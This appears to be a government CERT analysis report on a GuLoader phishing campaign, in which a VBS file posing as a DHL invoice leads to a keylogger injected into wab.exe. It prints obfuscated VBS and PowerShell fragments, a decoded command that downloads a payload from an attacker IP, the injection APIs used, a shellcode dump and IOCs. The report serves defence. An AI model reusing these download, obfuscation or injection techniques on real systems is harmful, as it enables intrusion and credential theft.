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Executive Summary

Technical Information

The report highlights the need for vigilance and proactive measures in the face of sophisticated cyber threats, emphasizing the importance of regular updates and implementation of recommended security practices to protect critical and important information infrastructure

During active monitoring, the SOC team at AKCESK has identified attempted attacks against one of the critical infrastructures of the Republic of Albania. These indicators were immediately passed on for a more in-depth analysis to the Cyber Security Analysis Directorate team. The report contains technical details as well as indicators of compromise that were identified by the in-depth analysis.

At the end of the report are the relevant recommendations drawn up by the Cyber Security Analysis Directorate team.



Figure 1: The infection chain from the malicious file GuLoader

Analysis of file: dhl_doc_awb_shipping_invoice_18_04_2024_0000000000024[.]vbs

The file *dhl_doc_awb_shipping_invoice_18_04_2024_00000000000024[.]vbs* with hash value **sha256**: *b312e71220b5c1a59397380829978ee5e10404d28c9573f576459fdae6103507* is a file written in **Microsoft Visual Basic**. At first glance, the file looks like it contains pieces of text that are devoid of information, but this is a way developed by malicious actors to make analysis as difficult as possible

A variable named **Forsdene** is defined in the script and stores the concatenated value of several characters as follows:

Forsderne = "po" + "w" + johannesburg + "rsh" + johannesburg + "ll" and johannesburg = Chr(90+Improbabilities).

The **Chr** function returns the value from unicode to **ASCII** format and when you add it to the variable **Improbabilities** it returns to the letter "e" and the word created is **Powershell**. So we understand that an attempt is made to execute a command in Powershell. We also have a function named **Pantry** as well as initializing a variable named **Blissed: Set Blissed** = **CreateObject("WScript.Shell")** which serves to execute various script parts such as Powershell commands.

```
fascistized = Blissed.Run(Subalternant,0)
Subalternant = Forsderne + ChrW(34) + Lolloping + ChrW(34)
```

Powershell command and some strings as parameters:

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356	'Svirpendes, maadeligste fototek forlystelsessyge tejn227. vgtforgelsen stdpudestaterne: afsaltede.
357	Programhovedet? fetishic aandsnrvrelsens? programdokumentationer meagreness udrustningens aandemanern
358	<pre>Set Blissed = CreateObject("WScript.Shell")</pre>
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Figure 2: Wscript.Shell

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'Clasher: vacuo20 staalstberiernes nonnotable anethene adonissers tuningssttenes; s}
Forsderne = "po" + "w" + johannesburg + "rsh" + johannesburg + "ll "
'Dykkerdragts: glykose bogled!
```

Figure 3: Powershell.exe

A high level of obfuscation is evident as variables take values based on strings descriptions

from the most diverse, so the best way to understand the behavior remains by running the file and following it through **debug**. A breakpoint is set at the **Subalterant** variable and during execution it is evident that the variable holds the commands for Powershell and some hidden commands.

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Name:	Subalternant	
Type:	String	
Value:	"powershell "\$Corporales = 1;\$Unpopulously='Substrin';\$Unpopulously +='g';Function Prvelsladtes(\$Umiri){\$Makronen=\$Umiri.Length-\$Corporales;For (\$Marsupialised=6; \$Marsupialised -It \$Makronen; \$Marsupialised+=(7)) {\$Dyrtidens+=\$Umiri.\$Unpopulously.Invoke(\$Marsupialised, \$Corporales);}\$Dyrtidens;}function Kalkning(\$Dictyostele){& (\$Typifikationer) (\$Dictyostele);}\$tetrasporangia=Prvelsladtes '.abenpMPred.toGamb.izRoentgiSealevI.yksaklU,seveaTilkbs/In mot5Aander.Propag0Gu,nen Thwart(,amordWOmsk fiSkjo,dnSupplidBrsberoF,stedwSlangesScissi talmudN,ilberTLis nn Gobbed1Vrelse0Sadach.Prl,di0Devola;Routew kraftfW.apIndiAcut.rn.efray6 Imama4Contin;,anseg Unex,exJernba6Hypode4 Rbest; Equim ProtaxrLn.ortvLuftfa: Billi1 Fondn2 D,vas1NonsuClubsi0Homewo) hloro	~
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Figure 4: Powershell command

We attempt the command in PowerShell and copy it into a .**ps1** file, where we begin the analysis by executing it partially to understand the behavior of the files.

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The file reveals the functions: Kalkning and Prvelsldates:

function Kalkning(\$Dictyostele) {

```
& ($Typifikationer) ($Dictyostele);
}
```

The variable **\$Typifikationer** carries the value **iex** (Invoke-Expression) and **\$Dictyostele** takes as a parameter the commands that in execution come out of hiding through the **PrvelsIdates function**.

```
Function Prvelsladtes($Umiri) { $Makronen = $Umiri.Length - $Corporales; For
($Marsupialised = 6; $Marsupialised -lt $Makronen; $Marsupialised += (7)) { $Dyrtidens
+= $Umiri.$Unpopulously.Invoke($Marsupialised, $Corporales);
}$Dyrtidens;
}
```

Since we have several functions that call the string output, we call on several variables to see what this malicious file is about.

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34	\$r2=Prvelsladtes 'Fstvid\$beslgtg isektlBegmanoR.commbSaebeiaMisforlTheeli:FuldstAcivilkpVacuouh Vej,eoKalkunrSub,ini ejruda
35	<pre>\$r3=Prvelsladtes ' ulvk\$Blyantg NonfelF actuoTheronbUncopyaMyoheml Nabot:.troboBRelatin.azehonT ykkeeFastsprTrafikuPl.nipg</pre>
36	\$r4=Prvelsladtes ' Stenb\$SelvanBinpou,nma gann Roulle KammerKlft.ruHalvtopPror.k. umpilHSmaaorePipespa Ponted Sabote Generi
37	<pre>\$r5=Prvelsladtes ',krupl\$ gle sg Tyvepl EkvipoThronebStanleaT morol Segge: HenteKSekstieTascautneutroo Lyso.hHalefie olons</pre>
38	<pre>\$r6=(Prvelsladtes 'Hjemme\$Litt,rg,uticulSpeechoDatovebDiamanaPlatyclEnkedr:HaletuLSknskriPilhenkUndsttr Heyn,eForma,nSk,bs</pre>
39	<pre>\$r7=Prvelsladtes 'TvrsukSRaadsmtentozoa Acholr Arch t,ftepa-tavel]SJumball,edlegeFlighteDatalipstoneh Regeri4Messme ';</pre>
40	<pre>\$r8=Prvelsladtes 'Leosop\$GalliugRudd.elFahrenoNedsnkbD alysaBiogralBacons: UdspeKOmnormeHemolyt .oryio Unm nhStomaceKevyn,</pre>
41	<pre>\$r9=Prvelsladtes ' Weste\$Fo,vrrgSigt.alVidnefoAntonebB stnkaUnyo.nlUnbann:ven.alUPetticnTritonaSynergdsymphyjK.rthee solfre</pre>
42	\$r10=Prvelsladtes 'Unnaiv\$ChickwgBirthrlReligioFrisvmbUndisoataksttl Petal:BorggaKPlastrisloperpBl.mrapDisbure KarupkPo,ysi
43	\$r11=Prvelsladtes 'L.niat\$ Arma gHjlpeol dovesoNon,icbKonsulaFlorvilFis,yb:GrafikS BaghooSvrtstlSkudvebbehandjClutchr Inkbs
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Figure 5: File modification

From the **outputs** of the variables, it is evident that a command is executed in Powershell which tries to download a file named: *Rkenstaten.dsp* from the url *http://94[.]156[.]79[.]64*. This is evidenced by the **\$Brujeria** variable:

New-Object

System.Net.WebClient.DownloadFile(http://94.156.79.64/Rkenstaten.dsp,C:\Users\flare\ AppData\Roaming\Skotskterrierens.Kub).

The file is saved in *C*:*Users**UserX**AppData**Roaming* with the name **Skotsterrierens.Kub.** This file has a very long string of characters that at first glance appears to be *base64* encoded.

1	6wJ9J0sCPhu ⁷ F1ENA0sC1LHräiwZA1wkBosCF1XrävefuXrnT9XräiDH6wK0II4HxKiOPOusCgairAkTwgcGwPL9ocOGb6wKevOsCsCbrä
2	grLutzsDodxAZtxAZvrAkDlcoGbMcrrAsZWcoGbiRoL6wLrCesCdYzR4nEBm+sC/8mDw0RxAZtxAZuB+apxkgN8v3EBm+sCl+gLRcoE6wLod3
3	EBm4nD6wL9j0sCDg+BwwH9NAPrAlPv6wL6N7g0j6KOcQGbcQGbgegK8NcOcQGb6wLnKIHgBJ/R/3EBm3EBm+sCz9RxAZvrAtFb6wKWCIsMEHEBm+sC
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12	lcm5lcyBTbmFra2Vk2XMgSG9ib2tlbiBPdmVyc2NvcmUgSW50ZXJtZXp6aXMgVW5jcm9zc2FibGVuZXNzIFNlY2Vzc2lvbmFsIFNrbHJvZGVuIA==

Figure 6: Skotskterrierens.Kub

At the end of the file, we set a **breakpoint** in the **\$Vacherin** variable and it is evident that we have a script part in **Powershell** again.

Figure 7: Stage 2 powershell script

It is evident that again we have a very high level of hiding (*technique: obfuscation*) of the malicious code.

During the execution, the following variables were detected by the **debugger:**

\$tetrasporangia > Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101
Firefox/121.0
\$Bedplates > User-Agent
\$Spiderlike > http://94.156.79.64/Rkenstaten.dsp

\$Hamamelidin > ''>''
\$Typifikationer > iex
\$Knsdrifts > echo %appdata%\Skotskterrierens.Kub && echo \$
\$Bnnerup = New-Object System.Net.WebClient
\$Brujeria > New-Object
System.Net.WebClient.DownloadFile(http://94.156.79.64/Rkenstaten.dsp,C:\Users\flare\
AppData\Roaming\Skotskterrierens.Kub)

\$phyllo > array me dy vlera : C:\Users\flare\AppData\Roaming\Skotskterrierens.Kub
dhe ''&''
\$Rapportgeneratorens > C:\Users\flare\AppData\Roaming\Skotskterrierens.Kub

\$r1 > phyllo = cmd /c echo %appdata%\Skotskterrierens.Kub && echo \$

\$Bnnerup.Headers[\$Bedplates]=\$tetrasporangia

This translates to: "Object headers are set to Mozilla/5.0 (Windows NT 10.0; Win64; x64;rv:121.0) Gecko/20100101 Firefox/121.0".

\$Demagnification > System.dll \$Townlet > Microsoft.Win32.UnsafeNativeMethods \$Timelofterness > GetProcAddress \$Floragraferende > ReflectedDelegate \$Idhhmandens > InMemoryModule \$Recompenses > Class, Public, Sealed, AnsiClass, AutoClass **\$Morgenfriskes > Invoke \$Sukkerfrie >Public, HideBySig, NewSlot, Virtual \$Hundene > VirtualAlloc** \$sammenvoksningen > ntdll **\$Fornjer > NtProtectVirtualMemory** \$psychologism > User32 **\$Pyelocystitis > CallWindowsProcA** \$Mlt > Kernel32 **\$Breining > user32 \$Interfoliere > ShowWindow**

From the variables extracted from hiding above, it is concluded that an attempt is being made to inject a piece of code into a process. We continue with the code analysis and make a modification by adding **Write-Output** and delete the part where the function is called. And in the powershell terminal we see a long list of commands:



Figure 8: Copying shellcode to a process

Converting **base64-encoded** strings to bytes: The script uses a string encoded with base64, converts it to bytes and uses these bytes to create a memory space. A new repositioning is created. These functions include **VirtualAlloc, CreateThread,** and **WaitForSingleObject**. The difference in our case is the **base64-encoded** variable is the file it was stored in **%appdata%\Skotskterrierens.Kub.**

\$global:Rarities = [System.Text.Encoding]::ASCII.GetString(\$Solbjrg203)
[DBG]: PS C:\Users\flare>> \$r11
\$global:Solbjrg203 = [System.Convert]::FromBase64String(\$Kippekalv)
[DBG]: PS C:\Users\flare>> \$Kippekalv
GWJ9JOSCPhu7FlENAOSC1LHrAiwZA1wkB0SCFlXrAvefuXrnT9XrAiDH6wKQU4HxKiQPQusCgajrAkTvgcGwPL9ocQGb6wKev0sCsCbrAgrLutZsp0dxAZtxAZvrAkDlcQGbMcr

Figure 9: Base64 encoded

The purpose is to put **Guloader** shellcode in memory. To understand where the first **shellcode** is located, we must follow the logical line by executing the variables step by step and come to the conclusion that: From bytes 0 to 664 is the shellcode. And now we need to find the address where this shellcode is allocated. (WARNING!) every time we run the file the address will always change.

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Figure 10: The relocated address

From the investigation in the *x64dbgr* tool we connect the powershell process that is being executed and set a **breakpoint** at the address found.



Figure 11: The Shellcode Address

We create a memory **dump** and see in the figure below the **shellcode** that is injected.

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07710020	9F	B 9	7A	E7	4F	D5	EB	02	20	C7	EB	02	90	53	81	F1	.'zç00ë. ÇëS.ñ
07710030	ZA	24	OF	42	EB	02	81	A8	EB	02	44	EF	81	C1	BO	3C	*\$.Bē ë.Dī.A°<
07710040	BF	68	71	01	9B	EB	02	9E	BC	EB	02	BO	26	EB	02	OA	¿hqë¼ë.°&ë
07710050	CB	BA	DG	6C	A4	E7	71	01	9B	71	01	9B	EB	02	40	E5	˰Öl¤çqqë.@å
07710060	71	01	9B	31	CA	EB	02	C6	56	71	01	9B	89	14	OB	EB	q1Êê.ÆVqë
07710070	02	D3	09	EB	02	75	8C	D1	E2	71	01	9B	EB	02	FF	C9	.Ó.ē.u.Nâqē.ÿÉ
07710080	83	C1	04	71	01	9B	71	01	9B	81	F9	AA	71	92	03	7C	.A.q.,q,uªq.,
07710090	CB	71	01	9B	EB	02	D7	EA	8B	44	24	04	EB	02	DO	77	Ëqë.xê.D\$.ë.Dw
077100A0	71	01	9B	89	C3	EB	02	FD	8C	EB	02	OE	AF	81	C3	01	qÅë.ý.ë Å.
077100B0	FD	34	03	EB	02	53	EF	EB	02	FA	37	BA	8E	8F	A9	OE	ý4.ē.Sīē.ú7°@.
077100C0	71	01	9B	71	01	9B	81	EA	8A	FO	D7	OE	71	01	9B	EB	qqê.ðx.që
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Figure 12: Shellcode

Then we continue with the process and we will see the legitimate process **Wab.exe** which will open and make a connection with IP command and control: 193[.].222[.].96[.]11

Shellcode is injected into a legitimate process. Also, if we open the file: $C: Users UserX \land AppData \land Roaming$, a file created by this process named **klgbvnspt**.dat will be identified. This file saves all the activities the user does on his computer (*Keylogger*).

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[2024/04/	23 15:46:18 Offline Keylogger Started]
[2024/04/	23 15:46:18 C:\Users\flare\Desktop\240418-sh4g7sgd46_pw_infected (1)\dhl_doc_awb_shipping_invoice_18_04_202]
[2024/04/	23 15:46:21 Search]
[2024/04/ [Win]	23 15:46:25 C:\Users\flare\Desktop\240418-sh4g7sgd46_pw_infected (1)\dhl_doc_awb_shipping_invoice_18_04_202]
[2024/04/ run[Enter	23 15:46:26 Search]]
[2024/04/ \$[BckSp]%	23 15:46:27 Run] APPDATA%[Enter]
[2024/04/	23 15:46:30 Program Manager]
[2024/04/ keylogger	23 15:46:30 C:\Users\flare\AppData\Roaming]

Figure 13: Keylogger

We extract the injected shellcode by running the malicious file in the automated sandbox. *http://94[.]156[.]79[.]64/cMkeRMn30.bin* which is injected into wab.exe.

C×	GET	http://94.156.79.64/cMkeRMn30.bin	WAB.EXE ^
		Figure 14: cMkeRMn30.bin	
Inc	licators	s of compromise	

HASHES :

- dhl_doc_awb_shipping_invoice_18_04_2024_000000000024[.]vbs
- sha256:b312e71220b5c1a59397380829978ee5e10404d28c9573f576459fdae6103507

IP:

• 193[.].222[.].96[.]11 C2

URL:

- http://94.156.79.64/Rkenstaten.dsp
- http://193.222.96.149/Rkenstaten.dsp
- http://94[.]156[.]79[.]64/cMkeRMn30.bin

MITRE ATT&CK Techniques

No.	Tactics	Technique				
1	Initial Access (TA0001)	T1566: Phishing				
1	Initial Access (TA0001)	T1566.001: Spear phishing Attachment				
2	Execution (TA0002)	T1053.005: Scheduled Task				
Δ	Execution (TA0002)	T1204.002: Malicious File				
3	Persistence (TA0003)	T1547.001: Registry Run Keys/ Startup Folder				
		T1053.005: Scheduled Task				
		T1140: Deobfuscation				
4	Privilege Escalation (TA0004)	T1055.012: Process Hollowing				
		T1053.005: Scheduled Task				
		T1564.001: Hidden Files and				
	Defense Evasion (TA0005)	Directories				
5		TA1562.001: Disable or Modify Tools				
		T1055.012: Process Hollowing				
		T1564.003: Hidden Window				
6	Credential Access (TA0006)	T1555.003: Credentials from WebBrowser				
0	Credential Access (1A0000)	TA1552.001: Credentials in files				
		TA1552.002: Credentials in registry				
		T1087.001: Local Account				
7	Discovery (TA0007)	T1057: Process Discovery				
		T1082: System Information Discovery				
		T1560: Archive Collect Data				
		T1217: Browser Information				
6	Collection (TA0009)	Discovery				
		T1115: Clipboard Data				
		T1005: Data from Local System				
7	Exfiltration (TA0010)	T1048.003 – Exfiltration Over Unencrypted NON Command-and- Control Protocol				
8	Command and Control (TA0011)	T1071.003: Mail Protocols				

Recommendations

AKCESK recommends:

- Immediate blocking of the Compromise Indicators mentioned above on your defensive devices.
- Ongoing analysis of logs coming from SIEM (Security Information and Event Management).
- Training non-technical staff about "Phishing" attacks and ways to avoid infection from them.
- Installing network perimeter devices that perform deep traffic analysis not only based on access list rules but also on behavior (NextGen Firewalls).
- Segmentation of identified systems into different VLANs, applying "Access control list for the entire network perimeter"; web services should be separated from their databases, and Active Directory should be in a separate VLAN.
- Application and use of the LAPS technique for Microsoft systems, for managing Local Administrator passwords.
- Application of traffic filters in the case of remote access to hosts (employees/third parties/clients).
- Implementation of solutions that filter, monitor, and block malicious traffic between Web applications and the internet, Web Application Firewall (WAF).
- Behavioral-level traffic analysis for endpoint devices, implementing EDR, XDR solutions. This includes the analysis of malicious files not only at the signature level but also at the behavioral level.
- Designing a solution for user access management "Identity Access Management" to control user identities and privileges in real-time based on the "zero-trust" principle.